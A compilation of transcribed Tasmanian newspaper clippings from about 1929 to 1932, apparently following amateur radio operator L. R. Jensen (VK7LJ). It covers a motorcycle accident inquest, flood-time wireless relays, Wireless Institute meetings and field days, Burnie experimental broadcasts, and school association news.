10.30 p.m. on February 27 and saw Laurie Jensen, who said they had upset two girls. He asked for help. Witness replied that his mother's car was coming down the lane. Witness found the buggy upside down. The oil tank of the cycle was broken and part of the magneto. The two men were quite sober He heard Mr. Dean say to Baylis and Jensen, 'You boys were the cause of the accident.' Baylis said, 'We ran into the cart up the road.' Nothing more was said. To Mr. Hutchins: He did not know how the accident happened. Elsie Williams deposed to being on the Breadalbane road on the night of February 27, which was fairly clear, but the moon had gone behind the clouds. She saw the buggy and the motor-cycle behind. Both had lights. She heard a crash but did not see what happened to cause the accident. To Mr. Hutchins: When she saw the vehicles the motorcycle was about 100 yards behind the buggy. Baylis was driving slowly, and apparently carefully. Trevor Arthur Thomas, who was in company with the previous witness, stated that he estimated the speed of the motorcycle at from 15 to 20 miles per hour. Both had lights. He could not say how the accident happened. Ada May Williams gave evidence as to having taken the Misses Dean in her motor-car to their home. Nothing was said as to how the accident happened. PILLION RIDER'S EVIDENCE. Laurence Jensen, residing in Galvin Street, Launceston, who was on the pillion seat of the motorcycle ridden by Baylis, stated that they were proceeding from Evandale to Launceston, and when nearing Breadalbane they ran into a buggy. As far as he knew the buggy did not have a light. They were travelling about 20 to 25 miles per hour. The buggy was on its right side, and he did not know how the accident happened, as he could not remember. They did not attempt to pass the buggy on the wrong side. They did not have any drink that night. Neither of them drank. He was dragged under the buggy for about two chains. When he came to, George Baylis had the injured girl on the side of the road. They were just going for help when Arthur Williams arrived. To Mr. Hutchins: Everything was confused and upset after the accident. They made no attempt to hide their identity. They were known to Arthur Williams. Baylis did not do anything neglectful that he knew of. After hearing evidence from Trooper Edwardes the coroner said he found that deceased came to her death through injuries caused in a collision with a motorcycle driven by George Baylis. He proposed to write to the Attorney-General (Hon. H. S. Baker) to look into the case and take further proceedings, as there appeared to him to be gross negligence on the part of the rider of the motorcycle."
"POSTAL COMMUNICATIONS. Partial Restoration. Help of Wireless Amateurs. Deputy-Director's Comment. The Deputy Director of Posts and Telegraphs (Mr. J. E. Monfries), commenting last night on the interruption of telegraphic, telephonic, and postal communication by the floods, said that their chief difficulty was the breach caused by the destruction of the bridge at Perth, which carried away the telegraph line and so cut off telegraphic and telephone communication between Hobart and Launceston. Persistent efforts were made to get a line across the South Esk River at Perth, he said, but each time a line was got to the opposite bank it was carried away by the force of the water. Eventually, at 9.45 a.m. yesterday, communication was temporarily restored by the use of a boat. Matters were thus far advanced by postal officers who had been working on each side of the river, that one hour after the boat was got across the river, one circuit was available between Hobart and Launceston. . . . PRAISE FOR OFFICERS. WIRELESS AMATEURS' ASSISTANCE. Mr. Monfries expressed appreciation of the exceptionally fine service given by officers of the department during a very trying situation. The department also appreciated the kindness of numerous wireless amateurs and experimenters in transmitting messages between Hobart and Launceston and the mainland cities. In this connection he mentioned Mr. T. Watkins (7DX), C. Walch (7CW) and H. Lovett (7HL), of Hobart, who had materially assisted in supplementing the official commercial station at the Domain, VIH. The stations referred to had been used for the despatch of official departmental business by special arrangement. Mr. L. Jensen, of 7LJ, also offered his station for the use of the department, and valuable work was done by other experimenters in assisting at the stations which were actually operating. At Launceston very valuable assistance was rendered by Mr. C. Scott, of 7CS, and Mr. Len. Crooks, of 7BG (sic, 7BQ). These citizens, despite the failure of the power supply, managed to maintain touch with their confreres at Hobart by the use of improvised generating sets. In Victoria several experimenters assisted the P.M.G.'s Department, particular mention being made of Mr. R. Burzacott, of 3RB, who was in touch with Hobart throughout the period of telegraphic interruption. The depart-ment was also exceedingly grateful to Mr. E. Jack, of Launceston, for his courtesy in placing a boat at their disposal, and to Captain Holyman, for his valuable help in connection with the supply and manipulation of the ship's rocket which was used to shoot a line across the South Esk River at Perth. Mr. Mace, of Perth, allowed the postal workmen to use his land in connection with the laying of a cable. . .."
"Radio NOTES. . . . . THE AMATEUR SIGNALLING RESERVE. The organisation of the Amateur Wireless Reserve in conjunction with the Air Force, is proceeding rapidly. Numbers of new stations have been enrolled, including two more Hobart amateurs. The Hobart amateur, Mr. W. T. Watkins, VK7DX, who is, perhaps, one of the oldest, and best known experimenters in Australia, has been appointed Official Guard Station for Tasmania, and the other official stations are as follows:— Messrs. Crosby Walch (VK7CW), C. Harrisson (VK7CH), L. Jensen (VK7LJ), J. Heine (VK7JK), H. Lovett (VK7HL), all of Hobart, and the Launceston stations of Mr. Len Crooks (VK7BQ), and Mr. C. Scott (VK7CS). Certain duties and exercises have been allotted, and everything is progressing satisfactorily. The Tasmanian stations are taking a keen interest in their duties, and in the case of emergency this reserve, trained and organised, should prove invaluable."
"WIRELESS INSTITUTE. Annual Meeting at Launceston. Hobart to be Headquarters. In accordance with a decision reached at the fourth annual meeting of the Wireless Institute of Australia (Tasmanian division) held at the Royal Hotel Launceston on Saturday night the headquarters of the organisation will be in Hobart for at least the next twelve months. The move will mean the merging of the Hobart Radio Research Club into the Wireless Institute, while a meeting will be held in Launceston on August 8 next to form a wireless club in the North. There was a good attendance at the gathering, there being present a number of Southern members. Mr. T. K. Jebb presided. The annual report stated that during the period under review the division had steadily progressed and regular monthly meetings were held. The interest shown by the members was very gratifying on the whole but the council would like to see more interest shown by the associate and student members. There had been a tendency for these members to absent themselves from the monthly meetings, and is it was to these that the institute looked for its future officers, it was felt that they should realise the responsibility of fitting themselves for the work which would one day fall on their shoulders. The membership of the division had steadily increased, nine having joined during the year in the following proportions: two full members, two associate members, and five student members. There were no resignations and the total membership for the division was now 50. The interest shown by the members in the technical books and papers in the library had been disappointing. The committee would take the opportunity of thanking all those who had so generously made available books and papers for this purpose and hoped that more members would avail themselves of this benefit. In August last the secretary Mr. C. Scott, and Mr. Trevor Watkins attended the fifth annual convention held at Hobart as the Tasmanian delegates. A quantity of important work was dealt with and the Federal Council was left with a strenuous year's work ahead. Two matters that came up for discussion at the convention had been brought to a head, namely the amalgamation of the ARTL with the institute in all States with the exception of West Australia and all amateurs were now under one controlling body, the Wireless Institute of Australia. This was the only body in Australia recognised by the Chief Inspector of Wireless. The other was the forming of the Air Force Reserve, which was now in full swing. Mr. Trevor Watkins's station (VK7DX) was the guard station for Tasmania, and the other active transmitters were reserve stations. The amateurs in Tasmania and also in Victoria had shown the world what could be done when the need arose as instanced by the disastrous flood that struck Tasmania some two months ago. Thanks were due to the president (Mr. Phil Fysh) for the loan of his 80 metre transmitter and generator to the club, and also to the various firms in the city who kindly donated the necessary parts to construct a receiver. However, not much interest was shown in the transmitter by most of the members, and this also lapsed. They also thanked Mr. Olsen for his generous donation of a battery charger for use at the club room. It was felt by the council that this year, through lack of interest in the younger members, the headquarters of the institute should for the ensuing year be transferred to Hobart, as that city had more active transmitters than Launceston. The move would mean the merging of the Hobart Radio Research Club into the Wireless Institute of Australia (Tasmanian division). It would be necessary to form a club in Launceston, which would be affiliated with the institute to keep the members together. The council looked forward with confidence to the coming year, and hoped that new members would avail themselves of the benefits of the institute. They also looked forward for full support from members in any work that might be undertaken, and trusted that meetings in the future would be well attended. The balance sheet showed a credit of £18. The motion for the adoption of the report and balance sheet was moved by Mr. F. W. Medhurst, seconded by Mr. H. F. Graham, and carried. SOUTHERN HEADQUARTERS. Mr. C. Scott (Launceston) moved, and Mr. J. C. Newton (Launceston) seconded: 'That the headquarters of the Wireless Institute (Tasmanian division) be situated in Hobart for the next 12 months at least.' The chairman said the move would be a good one. Launceston had had a good innings, and there was a lack of interest in the organisation in the North at present. The ultimate result of the move should prove beneficial to Launceston. The motion was carried. ELECTION OF OFFICERS. A ballot resulted in the election of Mr. F. W. Medhurst as president for the ensuing twelve months. The following were elected to constitute the council: Messrs. W. T. Watkins, C. Walsh, T. K. Jebb, L. Jensen, H. Lovett, C. Scott and the president. It was decided that a meeting should be held in Launceston on August 8 next to form a wireless club. After the meeting an enjoyable smoke social was held."
"AMATEUR NOTES. ROUND THE STATIONS. By 'Q.R.A.' . . . . VK7LJ came in strongly when working VK3AX. The former tested out on telephony, and although little could be made of him there was a thrill in listening to a voice coming from Tasmania."
"RADIO NOTES. . . (By 'Insulator.') . . . WIRELESS INSTITUTE OF AUSTRALIA. The headquarters of the Tasmanian division of the Wireless Institute of Australia have been situated at Launceston for a number of years. Due to the increasing interest taken in amateur radio matters in Hobart during the last few years, It was decided at the annual general meeting, held in Launceston, that the headquarters be transferred to Hobart for the ensuing twelve months. The first meeting of the division, held in Hobart, took place at the clubrooms, Elizabeth Street (over Finnigan and Burdon's) on August 7, 1929. There was a good attendance of members, Mr. F. W. Medhurst being in the chair. Arrangements are being made for interesting lectures to be given regularly by well-known radio experts. These lectures should prove very entertaining and instructive to persons who follow the experimental sides of radio. The secretary (Mr. L. J. Jensen) would be very pleased to hear from anyone interested in the Wireless Institute. Meetings are held on the first Wednesday of each month at 8 p.m. at the clubrooms, and intending members are welcome to attend on these occasions."
"WIRELESS AND BROADCASTING. . . . AUSTRALIAN AMATEUR ACTIVITIES. BY METRE. Amongst the Tasmanians, 7DX, Trevor Watkins, Hobart, and 7LJ, L. R. Jensen, Newtown, Tasmania, are the most consistent. Both men employ crystal-controlled transmitters. They did splendid work during the flood period about six months ago. Their signals are good here in Sydney during the evenings; also on Sunday afternoons, &c."
"WIRELESS INSTITUTE. FIELD DAY. During the week-end the Tasmanian division of the Wireless Institute of Australia conducted a field day, the activities taking the form of a hunt for a transmitter hidden within 15 miles of Hobart. The transmitting group, consisting of Messrs. P. and F. W. Medhurst (VK7AH), Harrisson (VK7CH), Masters, and Taylor left during the morning, and chose a spot on the Summerleas Road, about two miles from Kingston, and set up the transmitter. Four receiving parties, equipped with direction finding receivers, maps, etc., commenced the search for the transmitter at 1.30 p.m. The parties separated, and each proceeded to a convenient spot from which to take a bearing of the transmitter. Having obtained this they proceeded in that direction for a few miles, and then took another bearing until the transmitter was found. The first group to find the transmitter was that consisting of Messrs. Jensen (VK7LJ), Hope (VK7RS), Doddridge, and Bousfield, who arrived at the transmitter at 3.30 p.m. Five minutes later the second party put in appearance, and great was the excitement when the third party arrived two minutes after the second. The fourth party struck bad luck and did not arrive until about an hour later. The second party, consisting of Messrs. Walch (VL7CH), Oldham and Kirby, and the third party, consisting of Messrs. Heine (VK7JK), Drake, and Milne, arrived via the Huon Road, while the first party had taken the Brown's River Road. This is the first time that such an outing has been attempted in Tasmania, and great credit is due to the members for making such a success of it. In practically every case the bearings taken passed within a few hundred yards of the location. The transmitter, which was operated on approximately 83 metres, was supplied with power from 'D' batteries, kindly loaned for the occasion by Mr. R. Hope. Thanks are also due to Messrs. Medhurst, Milne, Jensen, Oldham, Ashton, Whitton, Martin, Drake, and Walch for supplying the necessary cars, receivers, etc. The institute intends to hold another such outing. At a meeting of the institute on Tuesday evening, Mr. W. Bousefield gave a very interesting lecture, the subject being 'The Structure of the Atom.' This was greatly appreciated by members."
1930
"AMATEUR NOTES. 'Round the Stations. By 'Q.R.A.' VK7LJ (in conjunction with the W.I.A.), puts out slow morse on 40 metres during Friday evenings for the purpose of teaching its members the code. Usually at the conclusion of these tests, he changes to phone, which is exceptionally strong and clear."
"AMATEUR NOTES. 'Round the Stations. By 'Q.R.A.' VK7LJ and VK3HC together, having parked on the 40 metre band, put out some splendid phone tests."
"THE BROADCASTER. Radio Wrinkles. . . (By VK6FG.) . . . WIRELESS INSTITUTE ACTIVITIES. The next meeting of the Wireless Institute will be held on Thursday night at the Y.A.L. headquarters, when after formal business has been dealt with a lecture will be given for the benefit of members. Students for the A.O.P.C. examination to be held shortly are redoubling their efforts at study. A fresh class will be started in a week or two, and anyone desirous of getting regular Morse practice or study the theory of radio should get in touch with the secretary immediately. The institute transmitter has been working well during the week or two it has been in operation. Messrs. S. Madden and S. Worth are the two chief operators, having definite schedules during the week, other transmitters filling in the remaining nights. Communication is regularly maintained with VJB, the Royal Australian Air Guard station in Melbourne, as well as with amateur stations. During the time that the station has been on the air the following stations have been worked:— Australia: VK3DX, VK3ES, VJB, VK5MB, VK6FT, VK6FG, VK6BB, VK7LJ. New Zealand: ZL2GN, ZL4BO, ZL2GQ, ZL2CM. Philippines: KA1RC, KA1HR. Hongkong: AC1BD. U.S.A.: W9UM. 'Phone transmission will be carried out from 6WI at an early date. The institute's February bulletin has been published to members, and lesson sheets will be supplied at an early date."
"PUBLIC EXAMINATIONS. . . . EXAMINATIONS FOR DEGREES. The following are the results of the supplementary examinations for degrees held in February:— . . . . Chemistry III.: K. B. Davies, L. R. Jensen."
"BURNIE. . . . Amateur Broadcasting: Mr. Laurie Jensen last night treated local wireless fans to an enjoyable gramophone recital from his experimental broadcasting station, 7LJ Burnie, which is located in High Street. The programme lasted from 10.30. till 11.30. Many listeners tuned in, and the reception was stated to be perfect. Mr. Jensen is well known in broadcasting circles in Tasmania and, in conjunction with Mr. R. Hope, conducted an experimental station at Hobart."
"Amateur Notes. . . . . Apart from VK7CH and 7LJ being heard, a couple of times, the seventh district has been very quiet."
"BURNIE. . . . Amateur Broadcasting: Mr. L. Jensen, of High street, owner of the amateur broadcasting station, 7LJ Burnie, gave local wireless fans another enjoyable gramophone recital on Sunday night. As on the previous occasion many listeners tuned in, and the reception was stated to be first class. Additions to the programme were several vocal numbers, and as in the case of the gramophone records, these were clearly heard. Mainland friends of Mr. Jensen were asked to tune in on Sunday night with a view to picking up the broadcast, but it is not yet known whether they were successful. lt is understood that regular weekly broadcasts will be given by Mr. Jensen."
"BURNIE. . . . Old Darwinians' Banquet: The splendid spirit of co-operation between old scholars and the Burnie High School was touched on by several speakers at the annual banquet and meeting of members of the Old Darwinians' Association, held at 'The Wattles' Cafe on Saturday evening. The good gathering testified to the progress the association has made since its formation in Burnie, and the enjoyable evening provided augurs well for the continued advancement of this body. The guests of honor were Mr. H. T. Glover, B.A., headmaster of the High School, and Mrs. Glover. After the repast, several toasts were honored. In proposing that of the patron (Mr. Glover) and the School, the president of the association (Mr. R. A. Fulton) said that in all matters pertaining to the progress of their school it was the duty of old scholars to show their appreciation of what it had done for them. He assured Mr. Glover of their continued support and co-operation. Responding, Mr. Glover said that the sincerity of the old scholars in Burnie was a tangible fact. ln many ways the old scholars had shown their faithfulness to the school by contributing to its equipment and in other ways. He looked forward to their annual reunion as one of the most enjoyable events of the year. Many examples of the good work done by the association were quoted by Mr. L. R. Jensen when he proposed the toast of 'The Association.' He had not been in Burnie long before he realised the extent of the activities of the association and its influence for the good among the young people. Mr. Thornton responded. 'The Ladies' and 'The Press' were proposed by Messrs. H. T. Smith and J. J. Stubbs respectively, Miss E. N. McKenna and Mr. M. Blackwood responding. At the annual meeting which followed Mr. Fulton was re-elected president, and Mr. Thornton secretary, the majority of the other office-bearers also being re-elected. Feeling reference was made to the death of a committee-member in Mr. Arnold Godwin, who was termed by the headmaster one of the fine characters who had passed through the school. The evening concluded with a dance in the Town Hall, when supper was served."
"BURNIE. Wireless Success: The broadcasting of the Burnie experimental wireless station, 7LJ, of which Mr. L. R. Jensen is the proprietor, has been highly successful during recent weeks, and among the scores of letters received by Mr. Jensen from listeners in many parts of the State as well as Victoria, are two which have special interest. The first from the Keeper of the Cape Everard Lighthouse, near Cann River, Victoria, after thanking Mr. Jensen for the many enjoyable musical programmes provided on Sundays, states that he has never heard better signals. The second letter was from a listener-in at Bexley (New South Wales), who stated that the transmission was clear with fair volume. Tasmanian, particularly Burnie, wireless fans greatly enjoy the Sunday programmes (morning and evening) provided by 7LJ, and they will be glad to learn that when the station resumes after three weeks' recess commencing this week, it will be greatly improved. The scope will also be extended to include local talent, as well as recorded items. For the past nine weeks the station has been operating on 230 metres, and during the period more than 300 records have been put 'on the air.' The station utilises a UX210 valve in a loosely-coupled Hartley circuit. The output from the gramophone pick-up (or microphone) is amplified by a three-valve amplifier before being fed to the modulator valve which impresses the speech frequencies on the carrier. Power is supplied through transformers and rectifiers from the main, and it is interesting to note that the total power used is less than that used by a 70-watt electric light globe, although the output supplied to the aerial is much more. The station is purely an experimental one, and is not operated for gain or remuneration of any kind."
"BURNIE. . . . Wireless Field Day: An event of great interest to local enthusiasts will be a field day to be conducted by the local experimental station, 7LJ, on Saturday next. The scheme as outlined by the operator of the station (Mr. L. Jensen), who as secretary of the Wireless Institute in Hobart took part in a similar field day in the South last year, is that a transmitter will be taken to some part of the district round Burnie within a 15-mile radius. From there, at five minute intervals commencing from 2 o'clock, gramophone records and announcements will be broadcast. Parties in cars equipped with receiving sets will then make an attempt to locate the hidden transmitter. Already about five car owners have notified their intention of taking part in the experiment and have been posted with full particulars of the scheme. In addition, announcements have been made over the air from 7LJ giving full details. It is possible that enthusiasts from Wynyard and Devonport will also take part. Speaking of the success of the field day in Hobart, Mr. Jensen said it took an hour and a half for one of the parties to find the transmitter and operators on that occasion. So successful had the day proved that another one had been carried out this year in the South. The local experiment, the first of its kind on the Coast, is expected to be the forerunner of at least an annual event, as interest in wireless circles has undoubtedly increased since the formation of a local amateur broadcasting station."
"BURNIE. . . . Wireless Field.Day: The first wireless field day held on the North-West Coast was conducted by Burnie wireless enthusiasts on Saturday afternoon, and proved a great success, besides being of much instructional value. Those who took part were Messrs. E. Werrett and party, B. Craw and party, F. Spurr and party, W. S. Townsend and party, A. Addison and party, E. Foster and party and K. Carter (Devonport) and party, a total of 25 enthusiasts in all. Mesdames L. Jensen and T. Moore and Miss G. Sut-ton left Burnie at 11.45 with a transmitting apparatus (power, 6 watts) which they set up with an aerial and counterpoise on the West Pine road, 10 miles from Burnie. They then proceeded to transmit on a wave length of 200 metres. The transmission consisted of the broadcasting of announcements and gramophone records at regular intervals of five minutes the signals being kept up till 4.30. A notable feature of the experiment was that it was the first time that telephony and records have been used in a field-day in Tasmania, Morse code having been used in all previous outings. It is also the first time that the low wave length of 200 metres has been used. The seven cars left Burnie at 2 o'clock, and were each equipped with a receiver fitted with a loop aerial. At 3.15 these in charge of the station saw Mr. Bruce Craw's car approaching, but when quite near the station it turned up another road and disappeared again. At 3.35 Mr. K. Carter and party, of Devonport, arrived, being the first party to locate the station. Mr. Craw, finding his signals getting weaker, retraced his steps, and succeeded in locating the transmitter a few minutes after the Devonport party had arrived. The other parties were unable to find the station, and had to make use of their sealed envelopes telling them of the exact location. Afternoon tea was then partaken of and a very enjoyable time spent. The winning party covered 15 miles before finding the station. Several listeners who were listening to the signals at Burnie report that, they came through quite clearly despite the very low power used."
"DEVONPORT. . . . Radio Club: The newly-formed Radio Club is making good progress, and has acquired two rooms belonging to Messrs. Webb and Co., on the Esplanade. One of those is being fitted as a studio, and the other as the operating room. An altwave receiver and a 200-meter phone transmitter are being installed. Among the members are some prominent radio-enthusiasts, one being the holder of a first-class-certificate. Last Saturday a party from the club journeyed to Burnie to take part in a field day organised by Mr. L. Jensen, VK7LJ, and was first to locate the transmitter. The party comprised Messrs Edgar Nicholls, Bern Stewart, George Dodd, Lyell Archer, Terry Iles and Keith Carter. Members are at work every Tuesday night, and hope to begin transmitting in a few weeks."
"BURNIE. . . . 7BC, Burnie: The above is the call sign which has been allotted to Mr. Bruce Craw, of Burnie, by the Postmaster General. After studying for, and successfully passing, the examination for the Amateur Operators' Certifícate of Proficiency in Radio-Telegraphy, an a-plication was made for the issue of an experimental station license. This was eventually granted, and now there are two experimental stations in Burnie, the other being that of Mr. Jensen, 7LJ. To pass the examination a good knowledge of the construction and operation of both transmitters and receivers is necessary. Mr. Craw will first confine his experimental work to the higher frequencies (short waves) around 7000 kilocycles (40 metres). Any reports of reception of VK7BC will materially assist in this work, and will be greatly appreciated and acknowledged."
"BURNIE. Loan Appeal: Mr. G. H. Taylor, who is relieving Mr. H. M. Garrard as manager of the Burnie branch of the Commonwealth Bank, has returned to Burnie after spending a few days in the Lyell district, where he made an appeal for subscriptions to the Commonwealth £28,000,000 loan. Yesterday Mr. Taylor, together with Mr. G. Moyle, the branch's accountant, made an appeal to residents of the North-West Coast through the local broadcasting station, 7LJ. The urgency of a quick response to the loan was stressed, and people who intended to subscribe were asked to do so immediately."
1931
"DEVONPORT. . . . Radio Club: The members of the local Radio Club are very pleased with the result of the reception of their broadcasting efforts yesterday morning. The messages were picked up quite clearly by local wireless owners, while advice was received from a Launceston listener that the reception there was excellent. Some 37 calls for request numbers were received during the midday session. It is the intention of the club to engage local talent as soon as necessary apparatus is built. This station was built entirely by the members of the club, while valuable suggestions in designing were given by Mr. L. Jensen, of Burnie. The wave length is about 241 metres, which is just below 3DB, and the strength locally is quite equal to 3LO. Interested listeners are cordially invited to visit the station while it is broadcasting, and also to send in reports of the transmission, so that adjustments can be made for greater efficiency. These may be sent to 55 Esplanade, Devonport, and will be acknowledged with QSL cards. The Sunday broadcasting hours are 8.30 to 10 a.m., 12.30 to 2 p.m., 4.30 to 5.30 p.m., and 10.30 to midnight."
"DEVONPORT. . . . Local Broadcasting: Further successes have been achieved by the local broadcasting station, 7DR. Yesterday advice was received from the Devon Hospital that the music sent over the air was much enjoyed by the patients there, as also at Meercroft. A letter has been received from Geelong stating that the broadcasts the previous Sunday morning were clearly picked up, and to confirm the advice the titles of the items were given. These corresponded with the log of 7DR. Wireless conversations have been carried on with Mr. L. Jensen, the Burnie enthusiast."
"WIRELESS ENTHUSIASTS. Devonport's Transmitting Station, 7DR. EDUCATIONAL HOBBY. Wireless is the greatest wonder of the age, and it is pleasing to find that it is capturing the attention of so many people, particularly young men and youths who find in it a most interesting and educational hobby. For some weeks members of the Devonport Radio Club have been conducting experimental work with a new transmitting apparatus which they have erected, and a remarkable measure of success has been achieved, favorable reports having been received from listeners from all parts of Tasmania, and from places as far distant as the back districts of New South Wales and other mainland States. Technical Details. The transmitter includes a Shunt Hartley circuit, using a TB04/10 valve oscillator, with a pair of UX250's in parallel as modulators, employing the Heising system. A Clough system of speech amplification is used. The input of the transmitter is 20 watts. Three thousand volts are available from the power supply gear, and some idea of the strength of the current may be obtained when it is explained that an electric light globe, connected with a couple of turns of wire, will glow brilliantly when held within a foot of the transmitter. The power used at 7DR is exactly 1-250th of that used at 3LO Melbourne, yet it is possible, on the 20 and 40-metre bands, to communicate with any part of the world. The aerial is 100 feet in height. Two-Way Conversation. At Burnie are two amateur experimental stations — 7BC owned by Mr. Bruce Craw and 7LJ in charge of Mr. L. Jensen. The latter station has been in operation some 12 months or more, and Mr. Jensen has been ever ready to assist the Devonport amateurs with advice. It is interesting to be in the studio and to see those in charge so manipulate the apparatus that they are able to converse with others in the Burnie station. An 'Advocate' representative had that privilege one night recently, and the conversation came through as clearly as though it had been by telephone, and with a great deal more force and distinctness. The transmitter, with its red pilot lights, presents a very pleasing appearance. Worthy of Support. It should be clearly understood that no member of the club makes any profit out of this wireless service. All give their services free, and the enthusiasm is remarkable. Members are out to honor the undertaking given when their license was issued to conduct the station in the interests of research in wireless science. It is a fine thing to see such a number of young men attending night after night conducting experiments, noting the results, and preparing reports. It would be difficult to find a more fascinating pastime, and one which must tend to develop in those engaged in its powers of observation, at the same time educating them in the principles of this wonderful magic of wireless. Members are now engaged constructing an all-wave receiver, and in the near future it is hoped to get in touch with fellow amateurs the world over by means of short wave communication. The support of the public would be appreciated by members. The club's funds have been drained in the purchase of equipment. Are there any readers of 'The Advocate' to whom the value of such work as that which is being carried on appeals? Furniture is needed for the studio. The loan of a few chairs or the donation of broken seats which are not beyond repair would be appreciated. Several donations have been received, and donors have earned the gratitude of members. Such enthusiasm deserves encouragement, and members would be greatly heartened by a little practical assistance in the shape of donations of cash, furniture, gramophone records, etc. People in possession of the latter are invited to visit the studio and take with them any records which they desire to have reproduced over the air."
"STATE SCHOOLS. Staff Changes. (From the Educational Record.) . . . PROMOTION OF TEACHERS. The following teachers, having satisfied all the requirements of the regulations, have been promoted as shown hereunder:— I.B.— F. O. Close, Burnie State High. II.A.— R. G. L. Brett, Hobart State High; C. Ward, Hobart State High. II.B.— P. W. Weaver, Hobart State High; W. W. Hope, Devonport State High; E. J. Connors, Wellington Square. III.A.— C. Lawrence, Devonport State High; T. G. Collins, Devonport State High; W. J. C. Blake, Dover; L. Cob-bett, West Devonport; L. R. Jensen, Burnie High School; H. Jordan, Launceston Junior Technical; E. S. Davis, Westerway; M. E. Miller, Hobart State High; E. Norman, Launceston State High."
"BURNIE. . . . Old Darwinians' Association: The monthly social and dance of the Old Darwinians' Association, held at the High School on Thursday night, was largely attended. Dancing and competitions filled an enjoyable evening. Supper, was provided by a ladies' committee. Wireless dance music was provided by Mr. L. R. Jensen and by Mr. Bruce Craw through amateur station VK7BC. A lucky spot dance was won by Mr. Cyril Chalk and Miss Dulcie Dowling."
1932
"WIRELESS AND BROADCASTING. . . . Experimenters on 40 Metres. The undermentioned experimenters were intercepted between 4.30 and 5.30 p.m. on February 15. Signals were loud in all cases, fading being conspicuous by its absence. The p.m. peak period for New Zealand stations is at present between 4 p.m. and 9 p.m., Australian time. Stations 3MR (Vic), and 4CH (Q.), were very clear on telephone; modulation was good, but interference from Morse makes it difficult to obtain 100 per cent. copy. In the case of telegraph, however, 100 per cent. copy can be obtained from Interstate experimenters on single sending. It is gratifying to note number of stations on air simultaneously: 2nd District, N.S.W.: 2FD, 2ZC, 2KR, 2HZ, 2LX, 2AX, 2HM, 2CK, 2FY, 2FQ, 2ZK, 2HR, 2NS, 2YZ, and 2KR. 3rd District, Victoria: 3MR (on 'phone, at 5.30 p.m., calling CQ for test), 3PP, 3ML, 3JT, and 3LK. 4th District, Queensland: 4MR, 4CH (the latter on 'phone, clear mo-dulation). 5th District, South Australia: 5MX, 5LC, and 5RH. 6th District, Western Australia: Nil. 7th District, Tasmania: 7LJ and 7CW. New Zealand, all districts: ZL: 2BS, 2CI, 1BN, 3BO, 4CM, 2GG, 3HH, 3CA, 2BV, and 2GM."
"ENGLISH SIGNALS STRONG. Amateurs Active. By 'Q.R.A.' MANY of the indifferent conditions which have prevailed on the 14 m.c. band disappeared this week, according to reports from amateur stations. Foreign countries were received very well, strong signals came from U.S.A. and the English amateurs were excellent, particularly on Sunday between 5.30 and 6.30 am. G's 6LI, 6PY, 2VQ, 5FV were the best of the many English amateurs heard that morning. VK5RX worked with FM8IH, of Algeria, receiving R6 as late as 6.30 a.m. At times the Algerian station was strong at R8 with a good, clear signal. YI6WG (Iraq), CT1BX (Portugal), and F8NY and F8WB (France) were all strong, the first two coming in at R7. VS7AP, of Ceylon, with a D.C. signal, at R8, was heard calling, but did not make a contact with Australia. W2ANX, of America, was heard working VK5YK. ZL4AI was the strongest of the New Zealand stations. He was heard working VE2CA, of Canada, on 7 m.c. About 80 American amateurs came through, the loudest being W's 5BCX, 8ZB, 6AHP, and 8EGY. The youngest operator in South Australia is Keith Edwards, of Rapid avenue, Colonel Light Gardens, who was successful in the recent A.O.P.C. examinations. VK3FJ (formerly 7JK), Tasmania), has two 80-ft. aerial masts up now, and in his five-stage C.C. transmitter, there are two '852' valves in the final unit. VK5BO, during the week, had a splendid chat with VK7LJ, of Tasmania,"
"MEETINGS. WIRELESS INSTITUTE. The seventh annual meeting and dinner of the Wireless Institute of Australia (Tasmanian division), was held at Hobart on Saturday evening. Mr. W. E. Musters presided, and there was a large attendance of members and visitors, the latter including Mr. E. J. G. Bowden (Deputy Radio Inspector), Mr. W. A. Woods (president, Listeners' League), and Mr. E. J. Lewis (manager 7ZL). Numerous toasts were honoured, including that of the 'Institute,' proposed by Mr. W. A. Woods, and responded to by the president. Mr. F. W. Medhurst proposed the toast of the 'P.M.G.'s Department,' and mentioned the friendly feeling which had always existed between the department and the experimenters. In response, Mr. Bowden thanked members for their co-operation and assistance they had at all times rendered the department. The annual report and balance-sheet showed a credit of £6 8s. 6d. Three members were successful in passing their amateur operator's proficiency examination, which entitles them to oper-te transmitting stations. The success of these members was due to the work of Mr. R. Buring in conducting classes for those desirous of sitting for this examination. During the year the institute suffered loss by the death of Mr. W. T. Watkins (VK7DX), who was one of the first wireless experimenters in Australia. At the request of the radio inspector the institute has prepared a scheme for co-ordinating amateur broadcasting on the 200 to 250 metre wave length, which is now in operation. During the year amateur stations were again asked to provide communication between Hobart and the mainland when trouble occurred in the submarine cable, and hundreds of messages were handled. The election of officers for the year 1932-33 resulted as follows:— Patron, Mr. F. W. Medhurst (VK7AH); president, Mr. W. E. Masters (VK7MM); vice-presidents, Messrs. W. A. Woods, E. J. Lewis and E. Kirby; council, Messrs. Masters, Medhurst, Every (7GE), Buring (7RB), Jensen (7LJ), Harrisson (7CH) and Drake; hon. treasurer and Q.S.L. officer, Mr. G. E. Every (7GE); hon. solicitor, Mr. W. E. Masters; hon. secretary, Mr. C. Harrisson; assistant secretary and technical director, Mr. R. Buring; traffic manager, Mr. J. Batchler (7JB)."
"BURNIE. . . . Old Darwinians' Association: The president (Mr. R. A. Fulton) presided over an attendance of about 50 at the annual meeting of the Old Darwinians' Association at the Wattles Cafe on Saturday night. The annual report showed that the association had had another successful year, both socially and financially, and had been able to pursue its policy of adding to the equipment of the Burnie High School. The membership of the organisation totalled 30, compared with 28 last year, but it was stated that a further improvement in this direction was desirable, and would permit the association to extend its activities. The balance-sheet showed that the organisation possessed a bank balance of about £22, part of which was earmarked for the purchase of equipment for the High School. The report and balance-sheet were adopted on the motion of the chairman, seconded by Mr. R. Gale. Officers for the ensuing year were elected as follow:— Patron, Mr. F. Close; B.Sc.; president, Mr. J. J. Stubbs; vice-presidents, Misses E. E. McKenna and P. Jillett; Messrs. W. J. Thornton, H. T. Smith, H. Atkinson, M. Smart, C. Best, J. R. Cherry, R. Gale, T. Jacobs, and R. A. Fulton; secretary and treasurer, Mr. L. R. Jensen; assistant secretary, Miss D. Dowling; editor old scholars' column in the High School magazine, Miss B. Bond; auditors, Messrs. C. Terry and Bob Boutcher; committee, Misses B. Bond, K. Greenhill, J. Porte, H. Thurstans, N. Fitch, U. Terry and C. Cumming; Messrs. B. Boutcher, C. Terry, C. Stratton and H. Schell, with the officers ex officio members. On the motion of Messrs. Stubbs and Fulton Miss E. E. McKenna, who was recently transferred from Burnie to Hobart, was elected an honorary life member of the association in appreciation of her valuable services over a long period."
